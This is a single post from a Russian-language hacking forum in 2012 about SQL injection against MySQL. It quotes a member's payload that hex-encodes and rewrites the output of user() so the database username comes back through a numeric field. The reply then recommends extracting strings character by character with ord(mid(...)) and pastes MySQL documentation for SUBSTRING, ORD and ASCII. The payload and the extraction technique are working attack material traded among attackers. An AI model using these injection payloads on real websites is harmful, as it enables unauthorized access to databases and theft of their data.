Показать сообщение отдельно

  #21640  
Старый 14.11.2012, 17:19
aadktnbaov
Новичок
Регистрация: 06.06.2011
Сообщений: 14
С нами: 7860566

Репутация: 0
По умолчанию

Цитата:
Сообщение от IMMORTAL_S  
Конечно можно blind'ануть, но придумал такой вариант:
Код:
'+(select(Replace(Replace(Replace(Replace(Replace(Replace(hex(user()),'F','006'),'E','005'),'D','004'),'C','003'),'B','002'),'A','001')))+'
Если текст небольшой,
результат -
00419100400021004182
иначе -
4.19100400021004e+17
По сравнению с blind'ом, вариант лучше, но и здесь есть минусы, т.к. при обратной конвертации
4.19100400021004e+17
дает 00
419100400021004
000
а что мешает тебе извлекать любую необходимую тебе строку по одному символу ?

ord(mid(user(),1,1)) - ascii-код первого символа пльзователя

ord(mid(user(),2,1)) - ascii-код второго символа пльзователя

ord(mid(user(),3,1)) - ascii-код третьего символа пльзователя

и .т.д.

P.S. учи "мат. часть"

функция MID() = SUBSTRING()

Return a substring starting from the specified position


MID(str,pos,len) is a synonym for SUBSTRING(str,pos,len).

SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)

The forms without a len argument return a substring from string str starting at position pos. The forms with a len argument return a substring len characters long from string str, starting at position pos. The forms that use FROM are standard SQL syntax. It is also possible to use a negative value for pos. In this case, the beginning of the substring is pos characters from the end of the string, rather than the beginning. A negative value may be used for pos in any of the forms of this function.

For all forms of SUBSTRING(), the position of the first character in the string from which the substring is to be extracted is reckoned as 1.

mysql> SELECT SUBSTRING('Quadratically',5);

-> 'ratically'

mysql> SELECT SUBSTRING('foobarbar' FROM 4);

-> 'barbar'

mysql> SELECT SUBSTRING('Quadratically',5,6);

-> 'ratica'

mysql> SELECT SUBSTRING('Sakila', -3);

-> 'ila'

mysql> SELECT SUBSTRING('Sakila', -5, 3);

-> 'aki'

mysql> SELECT SUBSTRING('Sakila' FROM -4 FOR 2);

-> 'ki'

This function is multi-byte safe.

If len is less than 1, the result is the empty string.

функция ORD() = ASCII() Return character code for leftmost character of the argument

If the leftmost character of the string str is a multi-byte character, returns the code for that character, calculated from the numeric values of its constituent bytes using this formula:

(1st byte code)

+ (2nd byte code * 256)

+ (3rd byte code * 2562) ...

If the leftmost character is not a multi-byte character, ORD() returns the same value as the ASCII() function.

mysql> SELECT ORD('2');

-> 50

ASCII(str) - аналог полный аналог функции ord() , но для строк , состоящих из 8-битных символов

Returns the numeric value of the leftmost character of the string str. Returns 0 if str is the empty string. Returns NULL if str is NULL. ASCII() works for 8-bit characters.

mysql> SELECT ASCII('2');

-> 50

mysql> SELECT ASCII(2);

-> 50

mysql> SELECT ASCII('dx');

-> 100
 
Ответить с цитированием